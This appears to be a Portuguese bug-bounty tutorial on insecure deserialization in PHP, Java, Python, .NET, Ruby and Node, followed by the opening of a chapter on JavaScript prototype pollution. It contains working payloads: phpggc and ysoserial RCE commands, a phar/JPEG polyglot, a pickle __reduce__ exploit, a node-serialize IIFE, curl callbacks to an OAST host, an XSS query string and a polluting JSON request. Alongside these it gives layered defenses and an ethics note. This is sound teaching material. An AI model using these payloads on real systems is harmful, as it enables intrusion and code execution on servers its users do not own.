Repare: os atributos são **texto editável**. Trocar `s:4:"user"` por `s:5:"admin"` (lembrando de ajustar o tamanho `5`!) é trivial — esse é o ataque "fraco" (manipular dados). O ataque **forte** usa os *magic methods*: métodos que o PHP chama sozinho em momentos específicos.

> **Magic method (método mágico) em PHP**: método com nome reservado (começa com `__`) que o PHP invoca **automaticamente** em certos eventos, sem você chamar.

Os dois que importam aqui:

- **`__wakeup()`** — invocado **assim que um objeto é deserializado** por `unserialize()`. Kick-off perfeito.
- **`__destruct()`** — invocado quando o objeto é destruído / coletado pelo garbage collector (no fim do script). Outro kick-off clássico.

Exemplo didático de classe vulnerável (kick-off → sink direto):

```
class TempFile {
    public $filename;
    function __destruct() {
        unlink($this->filename);   // <- SINK: apaga o arquivo apontado pela
propriedade
```

```
    }
}
```

Se o atacante forja `O:8:"TempFile":1:{s:8:"filename";s:11:"/etc/passwd";}` e o servidor desserializa, no fim do script o `__destruct` roda e o `unlink` apaga o arquivo que **o atacante escolheu**. Em cadeias reais isso vai muito além: o `__destruct` chama um método de outro objeto controlado, que termina num `system()` ou `eval()`.

> **Garbage collector**: rotina que libera da memória objetos que não estão mais em uso. Em PHP, é quando o `__destruct` dispara — relevante porque a chain pode "esperar" o fim do script pra detonar.

Ferramenta — phpggc. Montar essas chains à mão é trabalhoso. O **phpggc** (PHP Generic Gadget Chains) é "uma biblioteca de payloads de `unserialize()` com uma ferramenta pra gerá-los" — o equivalente PHP do ysoserial. Ele já traz chains prontas pra Laravel, Symfony, Monolog, Guzzle, Doctrine, WordPress e dezenas de outros:

```
# Lista todas as gadget chains disponíveis
./phpggc -l

# Gera um payload que executa `id` via system() abusando do Monolog
./phpggc Monolog/RCE1 system 'id'
# saída: a string serializada pronta pra colar no parâmetro/cookie vulnerável
# (a chain e os parâmetros são case-insensitive: 'monolog/rce1' também funciona)
```

Sem `unserialize()` à vista: phar:// deserialization. Aqui está o truque que pega muito iniciante de surpresa — dá pra disparar uma POP chain em PHP **sem que o código chame `unserialize()` em lugar nenhum**. Um arquivo `.phar` (PHP Archive) guarda seus **metadados em formato serializado**; quando uma função de filesystem opera sobre um caminho com o wrapper `phar://`, o PHP **deserializa esses metadados automaticamente**. Ou seja: basta o atacante conseguir (1) plantar um `.phar` no servidor (via upload — mesmo "disfarçado" de imagem) e (2) fazer o app rodar uma função de arquivo sobre `phar://caminho/do/arquivo`.

A lista de funções que **disparam** a deserialização do phar é longa e inclui as mais corriqueiras: `file_exists`, `file_get_contents`, `fopen`, `is_dir`, `is_file`, `getimagesize`, `unlink`, `copy`, `stat`, entre outras. Por isso essa técnica casa muito bem com LFI / Path Traversal: um ponto de inclusão de arquivo que você controlaria pra ler `/etc/passwd` pode, apontando para `phar://`, virar **RCE** via gadget chain.

```
# phpggc gera o .phar pronto (note os flags -p phar e -o)
./phpggc -p phar -o exploit.phar Monolog/RCE1 system 'id'
# depois: faça o app operar sobre phar://.../exploit.phar (ex.: ?file=phar://./uploads/
avatar.jpg)
# polyglot phar+jpeg pra burlar validação de upload por extensão/magic bytes:
./phpggc -pj imagem.jpg -o exploit.phar Monolog/RCE1 system 'id'
```

> `phar://` : wrapper de stream do PHP que trata um arquivo `.phar` como se fosse um diretório. O perigo: ao acessar `phar://arquivo`, o PHP lê e **deserializa os metadados** do archive — convertendo qualquer função de filesystem num gatilho de POP chain.

Java — `ObjectInputStream` e a assinatura mágica

Em Java, a deserialização nativa é o `readObject()` da classe `ObjectInputStream`. Diferente do PHP, o formato é **binário** — mas ele tem uma assinatura fixa no começo que é ouro puro pra detecção.

> **Assinatura mágica do Java serializado:** todo stream começa com os bytes `AC ED 00 05` (`AC ED` = `STREAM_MAGIC`, `00 05` = `STREAM_VERSION` 5). Em **Base64**, esses bytes viram o prefixo `rO0AB` (frequentemente você verá só `rO0`).

Ou seja: viu um parâmetro/cookie/corpo começando com `rO0AB...` em Base64, ou os bytes `AC ED 00 05` no hex? **É objeto Java serializado.** IDS e WAFs inclusive usam essa assinatura como regra de detecção.

A chain mais famosa do mundo abusa do **Apache Commons Collections**, uma biblioteca utilitária presente em milhares de apps Java. O kick-off varia (um `readObject` que aciona um `Map`, que aciona um `Transformer`...), e o sink final é um `InvokerTransformer` que chama `Runtime.exec()` via reflection — rodando o comando do atacante.

Ferramenta — ysoserial. O **ysoserial** (de Chris Frohoff) é o canivete suíço aqui: gera "payloads que exploram deserialização insegura de objetos Java", embrulhando o comando que você quer numa gadget chain e cuspindo os bytes serializados:

```
# Sintaxe: java -jar ysoserial.jar [PAYLOAD] '[COMANDO]'
java -jar ysoserial.jar CommonsCollections1 'id' > payload.bin

# Inspecionar os bytes gerados (note o AC ED 00 05 no início)
java -jar ysoserial.jar CommonsCollections1 'calc.exe' | xxd | head
```

Payloads embutidos incluem `CommonsCollections1` a `CommonsCollections7`, `Spring1`/`Spring2`, `Groovy1`, `Hibernate1`, `ROME`, entre outros — cada um para uma biblioteca/versão diferente no classpath do alvo.

> **Classpath**: a lista de bibliotecas (.jar) que uma aplicação Java tem disponível em tempo de execução. A chain só funciona se a lib que ela usa estiver no classpath do alvo — daí testar vários payloads.

Python — `pickle` e o `__reduce__`

O módulo `pickle` do Python é o caso mais didático de "perigoso por design". A própria documentação oficial avisa em letras garrafais: **nunca dê `unpickle` em dado de fonte não-confiável.**

O motivo é o método `__reduce__`: quando você "pickla" um objeto, o Python pergunta a ele "*como você quer ser reconstruído?*". O `__reduce__` responde com uma **tupla `(callable, args)`** — uma função e os argumentos pra chamá-la. Na hora do `pickle.loads()`, o Python **executa esse callable com esses argumentos**. Sacou o problema? O atacante só precisa fazer o `__reduce__` devolver `(os.system, ('comando',))`:

```
import pickle, os

class RCE:
    def __reduce__(self):
        return (os.system, ('id',))   # <- callable + args; o loads() vai EXECUTAR isto

payload = pickle.dumps(RCE())        # gera o pickle malicioso
# ...no servidor vulnerável:
pickle.loads(payload)                # roda `id` — RCE imediato
```

Aqui nem precisa de gadget chain elaborada: o `pickle` te dá execução de código **diretamente**. Por isso ele é tão temido — e por isso a regra é absoluta. O mesmo vale para `PyYAML` com `yaml.load()` sem `SafeLoader`, e para `jsonpickle`.

> `__reduce__`: método que diz ao `pickle` como reconstruir um objeto, retornando `(função, argumentos)`. Como o `loads()` chama essa função, controlar o `__reduce__` = executar código.

.NET — `BinaryFormatter`

No mundo .NET, o vilão histórico é o `BinaryFormatter` (e parentes como `SoapFormatter`, `NetDataContractSerializer`, `LosFormatter`). Eles serializam incluindo o **tipo concreto** do objeto, o que abre o mesmo cenário de gadget chains (a ferramenta **ysoserial.net** é o análogo do ysoserial para .NET). A própria Microsoft marcou o `BinaryFormatter` como **inseguro e que "não pode ser tornado seguro"** — a orientação oficial é **parar de usá-lo** (a partir do .NET 9, a implementação embutida até lança exceção ao ser usada).

O caso mais comum hoje, porém, é **JSON inseguro**: o **JSON.NET (Newtonsoft.Json)** com `TypeNameHandling` diferente de `None`. Quando ativado (`Auto`, `Objects`, `Arrays` ou `All`), o JSON.NET passa a embutir e **honrar o campo `$type`** dentro do JSON — ou seja, o atacante escolhe **qual classe .NET instanciar**. Basta um campo do tipo `object` em qualquer ponto da árvore pra ele plantar um gadget de execução de código:

```
{ "$type": "System.Configuration.Install.AssemblyInstaller,
System.Configuration.Install, ...", "Path": "..." }
```

O `ysoserial.net` gera esses payloads tanto pro `BinaryFormatter` quanto pra Json.NET (e dezenas de outros serializadores/formatters). Sinal de alerta no recon: ViewState do ASP.NET (serializado por `ObjectStateFormatter` / `LosFormatter`) mal configurado — sem `MAC` / criptografia, ou com `machineKey` vazada — permite forjar um payload que o servidor deserializa; o **ysoserial.net** gera exatamente esse tipo de gadget (plugin `ViewState`).

Ruby — `Marshal.load` e a gadget chain universal

Ruby tem seu próprio formato binário de serialização, manipulado por `Marshal.dump` (serializa) e `Marshal.load` (deserializa). Como nos demais, o perigo mora em passar **input não-confiável** para `Marshal.load` (ou para `marshal_load`, e indiretamente em cache do Rails configurado com store Marshal).

> **Assinatura do Marshal:** todo stream começa com **dois bytes de versão**, tipicamente `04 08` (major 4, minor 8) — em Base64, o prefixo costuma ser `BAh`. Viu um blob Base64 começando com `BAh`? É provavelmente um objeto Ruby serializado.

O que torna Ruby especialmente perigoso é a existência de uma **gadget chain universal** (descoberta por Luke Jahnke, da elttam) que funciona em Ruby 2.x **sem depender de Rails nem de nenhuma lib específica** — basta o atacante controlar o argumento de `Marshal.load`. A chain encadeia objetos da própria stdlib até cair em execução de comando. A regra é a mesma do pickle: **não dê `Marshal.load` em dado externo**; para dados, use JSON (`JSON.parse`). Atenção também a `YAML.load` em versões antigas (use `YAML.safe_load`) e a `Oj` com `mode: :object`.

Node.js — `node-serialize` e o `_$$ND_FUNC$$_`

JSON puro é seguro, mas algumas libs "turbinam" a serialização pra incluir **funções** — e aí entra o risco. O caso clássico é o pacote `node-serialize` (≤ 0.0.4, CVE-2017-5941). Ele marca funções serializadas com o prefixo mágico `_$$ND_FUNC$$_`. Na hora do `unserialize()`, a lib reconstrói essa função — e se o atacante anexar um **IIFE** (função autoexecutável, com `()` no fim), ela roda na hora:

> **IIFE (Immediately Invoked Function Expression)**: função em JavaScript que se executa sozinha assim que é definida, por ter `()` logo depois do corpo — ex.: `(function(){ ... })()`.

```
// Payload: a função é marcada com _$$ND_FUNC$$_ e o () final a auto-executa (IIFE)
var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'id\',
```

```
function(e,out){console.log(out)})}()"}';
serialize.unserialize(payload);   // <- executa `id`
```

Sinal de recon: ver `_$$ND_FUNC$$_` num cookie/parâmetro Base64 grita "node-serialize vulnerável".

Recon — como reconhecer um formato serializado

Você não acha deserialização caçando uma URL; você acha **reconhecendo o formato** no tráfego. Treine o olho para isto (vale a pena testar tudo passando por Base64 primeiro):

Você vê...	Provável formato	Pista
`O:4:"User":...` , `a:2:{...}` , `s:5:"..."`	**PHP serializado**	Prefixos `O:` `a:` `s:` `i:`
Base64 começando com `rO0AB` (ou `rO0`)	**Java serializado**	Decodifica pra bytes `AC ED 00 05`
Bytes hex `AC ED 00 05`	**Java serializado**	A assinatura mágica
Bytes começando com `\x80` + versão (ex.: `\x80\x04` , `\x80\x05`) — em Base64, prefixo `gA...` (ex.: `gAS` p/ protocolo 4, `gAW` p/ protocolo 5)	**Python pickle**	Opcode `PROTO` (`0x80`) + nº do protocolo
Bytes `04 08` no início — em Base64, prefixo `BAh`	**Ruby Marshal**	Versão do formato Marshal (major 4, minor 8)
`_$$ND_FUNC$$_` no JSON	**node-serialize**	Marcador de função
`__VIEWSTATE=...` no POST do ASP.NET, ou `"$type"` no corpo JSON	**.NET** (ViewState via `ObjectStateFormatter` / `LosFormatter` ; ou JSON.NET com `TypeNameHandling`)	Campo do ViewState / marcador `$type`

Onde olhar: cookies de sessão, parâmetros que carregam "estado" (carrinho, preferências, tokens de retorno), campos hidden, corpos de API, headers customizados, mensagens em filas. Decodifique **todo Base64 suspeito** — metade do trabalho é só perceber que aquele blob não é um token aleatório, é um objeto.

```
# Decodificar rápido um valor suspeito e ver se é texto serializado
echo 'Tzo0OiJVc2VyIjowOnt9' | base64 -d ; echo
# saída: O:4:"User":0:{}  → começa com O:4:"User": → PHP serializado na veia
```

> **Burp Suite**: proxy de interceptação padrão do mercado para testar web — captura, edita e reenvia requests (Repeater/Intruder). Apresentado no capítulo de Recon & Discovery.

Exploração passo a passo (do básico ao avançado)

Nível 1 — Manipular dados (sem RCE)

Decodifique o objeto, troque um atributo "de poder" (`role` , `isAdmin` , `user_id`), reencode e reenvie. Lembre de **corrigir os tamanhos** no PHP (`s:5:"admin"` — o `5` precisa bater com o número de chars). Isso já vale como Broken Access Control / escalada de privilégio se o servidor confiar no atributo.

Nível 2 — Confirmar que há deserialização nativa

Mande um objeto deliberadamente **quebrado** (tamanho errado, classe inexistente) e observe: um erro tipo `unserialize(): Error at offset` , `__PHP_Incomplete_Class` , `java.io.InvalidClassException` ou `unpickling stack underflow` na resposta **confirma** que o input está sendo deserializado nativamente.

Nível 3 — RCE com gadget chain (PHP)

Identifique o framework (headers, `composer.json` vazado, erros) e gere o payload com phpggc:

```
./phpggc -l laravel          # ver chains disponíveis pro framework detectado
./phpggc Laravel/RCE9 system 'id' | base64   # gera e codifica pra colar no cookie/
param
```

Nível 4 — RCE com gadget chain (Java)

Confirmado o `rO0AB...` , teste payloads do ysoserial um a um (você não sabe qual lib está no classpath):

```
# Prova segura primeiro: faça o alvo bater no SEU servidor (sem comando destrutivo)
java -jar ysoserial.jar CommonsCollections1 'curl https://SEU-COLABORATOR.oast.site' |
base64
```

> **OAST / Collaborator (`*.oast.site`)**: servidor controlado por você que registra qualquer conexão (DNS/HTTP) recebida. Serve pra **provar** execução cega sem rodar nada destrutivo. Detalhe no capítulo de SSRF, que usa a mesma técnica.

Nível 5 — Encadear com outras falhas

Deserialização brilha em chains: um payload Java serializado entregue via SSRF a um endpoint interno (ex.: porta RMI/JMX), ou um gadget que faz LFI/leitura de arquivo quando o RCE direto não rola. A própria conexão de saída de uma chain pode virar SSRF.

Caso real-fictício: cookie PHP serializado → RCE

> Cenário **fictício, baseado em padrões reais** de programas de bug bounty (anonimizado).

Você testa `app.exemplo.com`. O cookie de sessão é um Base64 que, decodificado, mostra `O:4:"User":2:{s:4:"name";s:5:"alice";...}` — **PHP serializado**, e o app usa o framework Monolog para logs (visto num stack trace vazado).

Passo 1 — Confirmar a deserialização. Você corrompe o cookie e a resposta vaza:

```
HTTP/2 500 Internal Server Error

Notice: unserialize(): Error at offset 0 of 12 bytes in /var/www/app/Session.php on
line 88
```

Confirmado: o cookie passa por `unserialize()`.

Passo 2 — Gerar a chain. Com o framework conhecido, você usa o phpggc:

```
./phpggc Monolog/RCE1 system 'curl https://abc123.oast.site' | base64 -w0
```

Passo 3 — Disparar (prova segura). Você troca o cookie pela string gerada:

```
GET /dashboard HTTP/2
Host: app.exemplo.com
Cookie: session=TzozNDoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjI6...   # <-
payload phpggc
```

O que a tela do Burp/Collaborator mostraria: segundos depois, o Collaborator registra uma **interação DNS + HTTP** vinda do IP do servidor de `app.exemplo.com`. Isso prova que o `curl` rodou **no servidor** — ou seja, **RCE**. Você nunca rodou comando destrutivo; só fez o alvo "bater na sua porta".

Passo 4 — Report. Título `[Insecure Deserialization] - RCE via cookie de sessão PHP serializado`. Severidade **Crítica** (execução de código no servidor) — **CVSS v3.1 9.8** / **v4.0 9.3**. Evidência: o objeto serializado decodificado, o erro de `unserialize` e o hit no Collaborator. (Veja Como escrever um report que paga.)

Defesa em camadas

A regra de ouro cabe numa frase: **não deserialize dado não-confiável.** Mas defesa boa é em camadas — se uma falha, a outra segura.

1. (Melhor de todas) Não deserialize input não-confiável. Se você só precisa trafegar dados, use um formato **puro de dados** que não instancia classes nem roda código:

```
//    ERRADO — unserialize em dado do cliente: porta aberta pra gadget chain
$user = unserialize($_COOKIE['session']);

//    CORRETO — JSON: vira array/objeto burro, nunca instancia suas classes nem roda
código
$user = json_decode($_COOKIE['session'], true);
```

2. Se TIVER que usar serialização nativa, assine os dados (HMAC). Verifique a assinatura **antes** de deserializar — assim o atacante não consegue forjar payload sem a chave secreta.

> **HMAC**: assinatura criptográfica de uma mensagem usando uma chave secreta. Quem não tem a chave não consegue gerar uma assinatura válida — então um payload adulterado é rejeitado **antes** de chegar ao `unserialize`.

```
// Verifica HMAC ANTES de deserializar; rejeita qualquer payload adulterado
[$data, $sig] = explode('.', $cookie, 2);
if (!hash_equals(hash_hmac('sha256', $data, $SECRET), $sig)) {
    http_response_code(400); exit;        // assinatura inválida → nem chega no
unserialize
}
$obj = unserialize($data, ['allowed_classes' => false]);  // + allowlist (camada 3)
```

3. Allowlist de classes (restrinja o que pode ser instanciado). Cada linguagem tem o seu mecanismo — **negue por padrão**, permita só o necessário:

- **PHP:** `unserialize($data, ['allowed_classes' => false])` (nenhuma classe) ou `['allowed_classes' => ['MinhaDTO']]` (só essas). Sem objeto arbitrário, não há kick-off.
- **Java:** sobrescreva `ObjectInputStream.resolveClass()` para validar a classe contra uma allowlist (a lib **SerialKiller** ou o `ValidatingObjectInputStream` do Apache Commons IO fazem isso). Desde o JDK 9, há os filtros `ObjectInputFilter` (`jdk.serialFilter`).
- **Python: não use `pickle`** em dado externo. Se precisar de pickle interno, restrinja via `find_class` numa subclasse de `Unpickler`. Para PyYAML, use `yaml.safe_load()` (nunca `yaml.load()` sem `SafeLoader`).

- **.NET: não use** `BinaryFormatter` (obsoleto/inseguro). Use `System.Text.Json` ou `DataContractSerializer`; com Json.NET, mantenha `TypeNameHandling.None` (o default seguro) — se precisar de tipos, use um `SerializationBinder` com allowlist estrita.
- **Ruby: não dê** `Marshal.load` em dado externo (existe gadget chain universal). Use JSON (`JSON.parse`); para YAML, `YAML.safe_load`.
- **Node.js:** evite libs que serializam funções (`node-serialize` legado); use `JSON.parse` / `JSON.stringify`.

4. Mantenha as bibliotecas atualizadas. As gadget chains vivem nas libs. Atualizar Commons Collections, Laravel, Jackson, etc. fecha chains conhecidas. **Mas atenção:** isso **não substitui** as camadas 1–3 — surgem chains novas o tempo todo, em libs que você nem sabe que estão no classpath.

> **O que NÃO basta:** "remover a lib vulnerável" (outra chain aparece), confiar que "é só um cookie", obfuscar/Base64 o objeto (não é segredo nenhum), ou validar o conteúdo **depois** de deserializar (tarde demais — o kick-off já rodou na própria deserialização).

Ferramentas + labs legais

- **ysoserial** — gera payloads de deserialização Java (gadget chains prontas: `CommonsCollections1-7`, `Spring1`, `Groovy1` ...).
- **ysoserial.net** — o equivalente para .NET (`BinaryFormatter`, ViewState).
- **phpggc** — gadget chains para PHP (Laravel, Symfony, Monolog, Guzzle, WordPress...).
- **SerializationDumper** — lê e disseca um stream Java serializado em formato humano (ótimo pra entender o que está acontecendo).
- **Burp Suite** — extensões **Java Deserialization Scanner** e **Hackvertor** ajudam a detectar e codificar payloads.
- **Labs autorizados:** PortSwigger Web Security Academy — Insecure deserialization (gratuito, com labs de PHP/Java/POP chain), HackTheBox, TryHackMe.

Checklist do caçador

- [ ] Decodifiquei **todo blob Base64 suspeito** em cookies/params/corpos.
- [ ] Reconheci a assinatura: `O:` / `a:` / `s:` (PHP), `rO0AB` / `AC ED 00 05` (Java), `\x80` + versão / prefixo Base64 `gA...` (pickle), `04 08` / Base64 `BAh` (Ruby Marshal), `_$$ND_FUNC$$_` (node), `__VIEWSTATE` / `$type` (.NET).
- [ ] Em PHP, considerei **phar://** mesmo sem `unserialize()` à vista (upload + função de arquivo sobre `phar://`).
- [ ] Mandei um objeto **quebrado** e confirmei a deserialização pelo erro (`unserialize(): Error at offset`, `InvalidClassException` ...).
- [ ] Identifiquei **framework/libs** (headers, stack trace, `composer.json` / `pom.xml` vazados) pra escolher a chain.

- [ ] Gerei a chain com **phpggc / ysoserial** e provei RCE de forma **segura** (Collaborator/OAST, sem comando destrutivo).
- [ ] Testei **manipulação de atributo** (role/isAdmin) mesmo quando RCE não rolou.
- [ ] Pensei em **chain** com SSRF/LFI se o RCE direto falhou.
- [ ] Confirmei que a classe está **no escopo** do programa.

Pegadinhas / o que NÃO funciona

- **Esquecer de ajustar o tamanho no PHP.** `s:5:"admin"` com um `4` no lugar do `5` quebra o parsing. Conte os caracteres.
- **Achar que JSON é vulnerável a isso.** `json_decode` / `JSON.parse` **não** instanciam suas classes nem rodam código — o risco aparece em libs que "estendem" o JSON (como `node-serialize`) ou em type-hints inseguros (Jackson `enableDefaultTyping`, Json.NET `TypeNameHandling.All`).
- **Testar uma única chain do ysoserial e desistir.** Cada payload depende de uma lib/versão específica no classpath; teste vários.
- **Rodar comando destrutivo pra "provar".** Use OAST/Collaborator. `id`, `whoami` ou um ping de volta provam o RCE sem causar dano — e sem te colocar em apuros.
- **`__wakeup()` "consertado" não é defesa.** Um `__wakeup` que valida algo não fecha o `__destruct` de **outras** classes que servem de kick-off.
- **Achar que sem `unserialize()` no código não há risco (PHP).** O `phar://` deserializa metadados em dezenas de funções de arquivo (`file_exists`, `fopen`, `getimagesize`...) — sem nenhum `unserialize()` explícito.

O que você precisa lembrar

- **Serializar** = objeto → bytes/texto; **deserializar** = o caminho de volta. O perigo é deserializar **input não-confiável** com a serialização **nativa** da linguagem.
- A mágica do ataque é a **gadget chain**: o atacante não injeta código novo — ele encadeia **código que já existe** na app/libs até chegar a um **sink** (RCE).
- Reconheça pelas **assinaturas**: `O:` / `s:` / `a:` (PHP — e `phar://` mesmo sem `unserialize()`), `rO0AB` / `AC ED 00 05` (Java), `\x80` + versão / Base64 `gA...` e `__reduce__` (Python — perigosíssimo), `04 08` / Base64 `BAh` (Ruby Marshal), `BinaryFormatter` / `$type` (.NET), `_$$ND_FUNC$$_` (Node).
- Ferramentas do ofício: **phpggc** (PHP), **ysoserial** (Java), **ysoserial.net** (.NET).

> **Dica de ouro:** sempre que um valor opaco (cookie, param, blob Base64) **não for um token aleatório**, decodifique-o. Se sair `O:`, `a:`, `rO0AB` ou os bytes `AC ED 00 05`, você está diante de um objeto serializado — e metade do caminho pra um achado **crítico** já foi andada. O resto é casar a chain certa com a lib certa.

Nota ética

RCE é o tipo de falha em que um passo em falso vira incidente real. Tudo aqui é para **testes autorizados** — bug bounty dentro do escopo, pentests contratados e labs legais. Para **provar** execução, use sempre métodos não-destrutivos (callback OAST, comandos inofensivos como `id`); **nunca** rode `rm`, exfiltre dados de produção ou persista acesso. Deserializar objetos forjados em sistemas de terceiros sem autorização é crime. Use pra proteger, reportar com responsabilidade e ensinar.

Referências

- OWASP Top 10 — A08:2021 Software and Data Integrity Failures
- OWASP — Deserialization Cheat Sheet
- PortSwigger — Insecure deserialization
- ysoserial (frohoff) · phpggc (Ambionics) · ysoserial.net (pwntester)
- PHP — `unserialize()` (formato e `allowed_classes`) · Python — `pickle` (aviso de segurança)
- PortSwigger — PHAR deserialization · Sonar — What is Phar Deserialization
- elttam — Ruby 2.x Universal RCE Deserialization Gadget Chain · Microsoft — `BinaryFormatter` obsoleto/inseguro
- CVE-2017-5941 — node-serialize RCE

Prototype Pollution: envenenando o Object do JavaScript

Uma propriedade que contamina o programa inteiro

Imagina que você manda esse parâmetro inocente na URL de uma SPA:

```
https://app.exemplo.com/?__proto__[innerHTML]=<img src=x onerror=alert(1)>
```

A página recarrega e... `alert(1)`. Você não tocou em nenhum campo, não achou um `<input>` refletido, não passou por um sanitizador. Você injetou uma propriedade no **prototype global** do JavaScript, e um trecho qualquer da aplicação leu essa propriedade achando que era dele. Isso é **Prototype Pollution** (poluição de prototype): uma das classes mais elegantes — e mais subestimadas — da segurança web moderna.

É elegante porque ataca o **núcleo da linguagem**, não a aplicação. E é subestimada porque sozinha ela quase nunca "faz nada": ela é uma **primitiva** (uma capacidade base) que precisa de um segundo ingrediente, o *gadget*, pra virar algo crítico. Quando os dois se encontram, o resultado vai de DOM XSS no navegador a RCE (execução remota de código) no servidor.

> **Prototype Pollution**: vulnerabilidade em que o atacante injeta propriedades no prototype de `Object`, que passam a ser herdadas por **todos** os objetos do programa.

Neste capítulo a gente parte do zero (o que é prototype em JS) e chega no avançado (RCE em Node via `child_process`), com payloads verificados e defesa de verdade.

O que é prototype e herança em JavaScript

Pra entender a falha, primeiro o alicerce. Em JavaScript, **todo objeto tem um prototype** — um objeto "pai" do qual ele herda propriedades e métodos. Quando você acessa `obj.toString`, o JS procura `toString` no próprio `obj`; se não acha, sobe pro prototype; se não acha lá, sobe pro prototype do prototype, e assim por diante. Isso é a **cadeia de prototypes** (prototype chain).

> **Prototype**: objeto "molde/pai" do qual outro objeto herda propriedades; o motor do JS consulta a cadeia de prototypes quando não acha a propriedade no próprio objeto.
>
> **Herança**: mecanismo em que um objeto reutiliza propriedades/métodos definidos em outro (aqui, no seu prototype).

No topo dessa cadeia, para objetos comuns, está sempre o mesmo objeto: `Object.prototype`. Veja no console do navegador:

```
const usuario = { nome: "Ana" };
usuario.toString();              // "[object Object]" — herdado de Object.prototype
Object.getPrototypeOf(usuario) === Object.prototype;  // true
usuario.__proto__ === Object.prototype;               // true (mesma coisa, atalho
legado)
```

> **Analogia:** pense no `Object.prototype` como o **manual padrão da fábrica** que vem dentro de **todo** produto. Se alguém conseguir editar esse manual mestre, todo produto que sair da fábrica — e todos os que já existem — passa a "saber" daquela instrução nova. Não importa o modelo: geladeira, TV, micro-ondas. Todos herdam.

Duas formas de chegar nesse manual mestre a partir de qualquer objeto:

Caminho	Exemplo	Observação
`__proto__`	`usuario.__proto__`	Atalho (getter/setter) que aponta pro prototype do objeto
`constructor.prototype`	`usuario.constructor.prototype`	`usuario.constructor` é `Object`; `Object.prototype` é o mesmo manual mestre

Ambos levam ao **mesmo** `Object.prototype`. Guarde esses dois nomes: eles são as duas chaves que o atacante usa.

O que é "poluir o prototype" (e por que afeta tudo)

Poluir o prototype é **escrever** uma propriedade em `Object.prototype` a partir de uma entrada controlada pelo atacante. Como todo objeto herda dele, a propriedade injetada aparece **em todos os objetos** que não a definiram explicitamente. Teste no console:

```
const a = {};
a.__proto__.poluido = "sim";     // escrevendo no prototype mestre via __proto__

const b = {};                    // objeto novo, recém-criado
b.poluido;                       // "sim"  <- ele NUNCA recebeu isso; herdou do
prototype
({}).poluido;                    // "sim"  <- até um objeto literal vazio "tem"
```

Repare: o objeto `b` jamais recebeu `poluido`. Ele **herdou** porque a propriedade está no manual mestre. Esse é o coração da falha — você não modifica *um* objeto, você modifica o **comportamento padrão de todos eles**.

Por que `__proto__` causa isso? Porque, em JavaScript, `__proto__` **não é uma propriedade comum**: é um acessor especial (definido no próprio `Object.prototype`) que, ao ser **lido**, retorna o prototype do objeto. Então `obj["__proto__"]["x"] = 1` não cria a chave literal

`"__proto__"` dentro de `obj` — ele resolve `obj.__proto__` para `Object.prototype` e escreve `x` **lá**. É exatamente esse comportamento que código vulnerável aciona sem perceber.

Impacto e quanto paga

Sozinha, a poluição raramente é o fim — ela é a **primitiva**. O impacto vem do **gadget** que ela alimenta:

> **Gadget**: um trecho do código (da app ou de uma lib) que **lê** uma propriedade que o atacante consegue poluir e a usa de forma perigosa (ex.: joga em `innerHTML`, `eval`, opções de `child_process`).

- **Client-side → DOM XSS**: uma propriedade poluída cai num sink perigoso do DOM e executa JavaScript no navegador da vítima. Daí o caminho é o mesmo de qualquer XSS: roubo de sessão, ações na conta, Account Takeover.
- **Server-side (Node.js) → DoS, bypass de lógica/auth e RCE**: derrubar o processo (negação de serviço), burlar checagens que leem flags herdadas, ou — no pior caso — execução remota de código no servidor.

> **Sink**: o "ponto de chegada" perigoso onde dado controlável vira efeito (executar HTML/JS, rodar comando, etc.). O oposto é a *source* (ponto de entrada).

Em programas de bug bounty, o valor segue o impacto: um prototype pollution **isolado, sem gadget demonstrável**, costuma ser tratado como informativo ou pagar pouco (de algumas centenas de reais). Encadeado num **DOM XSS confiável** já entra em faixa de milhares; e um **RCE em Node** confirmado vai para o topo da tabela (dezenas de milhares), porque é uma das consequências mais graves possíveis. Lição: **prototype pollution só "vale" o que o gadget entrega** — invista em achar o gadget. Veja Severidade e Triagem e Chaining de Vulnerabilidades.

> A falha ficou famosa depois da pesquisa de **Olivier Arteau** (NorthSec 2018), que mostrou como atacar libs de `merge` no Node, e da pesquisa client-side de **Gareth Heyes / PortSwigger** sobre gadgets disseminados. Não é teoria: lodash, jQuery, Mongoose e outras libs enormes já tiveram CVEs dessa classe.

Como funciona por trás (os vetores)

A poluição precisa de código que **escreva chaves vindas do atacante em um objeto, recursivamente, sem filtrar `__proto__`**. Três padrões dominam.

1. Merge / clone profundo inseguro

`merge` ("mesclar") é a operação de copiar as chaves de um objeto-fonte para um objeto-alvo. "Profundo" (deep) significa que ele desce em objetos aninhados. Uma implementação ingênua:

```
// merge profundo VULNERÁVEL — copia chave por chave, recursivamente
function merge(alvo, fonte) {
  for (const chave in fonte) {
    if (typeof fonte[chave] === "object" && fonte[chave] !== null) {
      if (!alvo[chave]) alvo[chave] = {};
      merge(alvo[chave], fonte[chave]);   // recursão
    } else {
      alvo[chave] = fonte[chave];
    }
  }
  return alvo;
}
```

Se a `fonte` (controlada pelo atacante) for `{"__proto__": {"admin": true}}`, na iteração da chave `"__proto__"` o código faz `merge(alvo["__proto__"], ...)`, ou seja, `merge(Object.prototype, {"admin": true})`. Resultado: `Object.prototype.admin = true`. **Poluiu.**

```
const payload = JSON.parse('{"__proto__": {"admin": true}}');
merge({}, payload);
({}).admin;     // true  <- todo objeto agora "é admin"
```

> Por que `JSON.parse` é seguro mas o `merge` não? Porque `JSON.parse('{"__proto__":{}}')` cria um objeto com uma chave **literal** chamada `"__proto__"` (a desserialização JSON não aciona o acessor mágico). O perigo aparece quando esse objeto passa por um `merge` / `clone` recursivo: ao recursar, o código avalia `alvo["__proto__"]`, e aí sim o getter mágico dispara, resolvendo para `Object.prototype` e fazendo a escrita cair no manual mestre.

2. Parsing de query string

Bibliotecas que transformam `chave[sub]=valor` em objeto aninhado (padrão de muitos parsers de query string) também são vetor. Um parser ingênuo transforma:

```
?__proto__[admin]=true
```

no objeto `{ __proto__: { admin: "true" } }` e, ao construí-lo, escreve no prototype. Por isso o exemplo do início do capítulo (`?__proto__[innerHTML]=...`) funciona em SPAs que parseiam a URL e depois mesclam esse objeto em configs.

3. JSON.parse + merge (o combo server-side clássico)

No servidor, o corpo da request chega como JSON, vira objeto via `JSON.parse`, e a app mescla esse objeto em alguma config/opções com um `merge` inseguro. É o vetor da pesquisa do Arteau:

```
POST /api/perfil HTTP/2
Host: app.exemplo.com
Content-Type: application/json

{"nome":"ana","__proto__":{"admin":true}}
```

Tipos e variações

Tipo	Onde ocorre	Consequência mais comum
